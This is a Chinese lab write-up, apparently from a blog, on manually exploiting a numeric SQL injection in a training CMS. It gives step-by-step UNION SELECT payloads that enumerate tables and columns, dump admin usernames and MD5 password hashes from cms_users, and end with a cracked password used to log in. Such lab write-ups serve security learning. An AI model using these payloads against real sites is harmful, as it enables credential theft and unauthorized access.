zoukankan      html  css  js  c++  java
  • CMS 文件管理系统:SQL 注入漏洞

    任务目标

    对 cms 系统进行手工 SQL 注入,通过获取到的管理员密码登录。

    查找注入点

    首先先找找注入点,经判断在搜索框的 keywords 可能存在 SQL 注入。

    在文章阅读框的 id 参数也可能是注入点。

    判断注入类型

    由于文章阅读框的参数比较简单,所以用这个参数来测试,首先先注入正常的参数,网页回显正常的信息。

    尝试注入个单引号闭合,网页回显 MySql 报错,后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。经过以下所有的测试都一样,也就是说我们注入的引号没有起到闭合的作用,这是一个数字型注入。

    1' OR 1 = 1--+
    1') OR 1 = 1--+
    1')) OR 1 = 1--+
    1" OR 1 = 1--+
    1") OR 1 = 1--+
    1")) OR 1 = 1--+
    


    那就是数值型注入了,直接用注释把后面的东西注释掉,不用引号闭合。

    1 OR 1 = 1--+
    

    判断列数

    判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。经二分法测试,有效的列数有 15 列。

    ?id=1 ORDER BY 15--+
    

    ?id=1 ORDER BY 16--+
    


    判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 3 和 11,说明第 3 列和第 11 列是我们可用的。

    ?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
    

    获取数据库信息

    爆数据库名,我们选择第 3 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。

    ?id=-1 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15--+
    


    接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。注意由于编码问题会显示 UNION 非法,由于这个是中文网页,后台数据可能是 gbk 编码,修改编码后回显。

    ?id=-1 UNION SELECT 1,2,group_concat(convert(table_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.tables WHERE table_schema='cms'--+
    


    cms_users 表看上去就是用户名和密码存放的表,所以接下来爆cms_users 表的字段,在 information_schema.columns 爆出来。

    ?id=-1 UNION SELECT 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.columns WHERE table_schema='cms' AND table_name='cms_users'--+
    

    获取敏感信息

    接下来我们爆出 cms_users 表中的信息,这个表有用户名和密码这种敏感信息。

    ?id=-1 UNION SELECT 1,2,group_concat(concat_ws(':',convert(username using gbk),convert(password using gbk))),4,5,6,7,8,9,10,11,12,13,14,15 FROM cms.cms_users--+
    


    经查看目测是 md5 加密,随便找个网站查询一下得到原文是 123456。

    使用得到的用户名和密码登录后台,完成实验。


    值得一提的是我试着抓包看了下,这个密码没有在前端进行加密,直接传的是明文,所以用爆破和一些社工库也可以很轻松地把一些弱密码爆出来。

  • 相关阅读:
    剑指offer51-正则表达式匹配
    剑指offer50-构建乘积数组
    剑指offer49-数组中的重复
    PHP系列笔记——Zend_Controller工作流程
    多态与重载
    读取文件数据的大概流程
    基于HTTP协议下载文件的实现
    C++中的面向对象笔记
    firebreath注册接口
    python读取excelxlsx,写入excel
  • 原文地址:https://www.cnblogs.com/linfangnan/p/15780563.html
Copyright © 2011-2022 走看看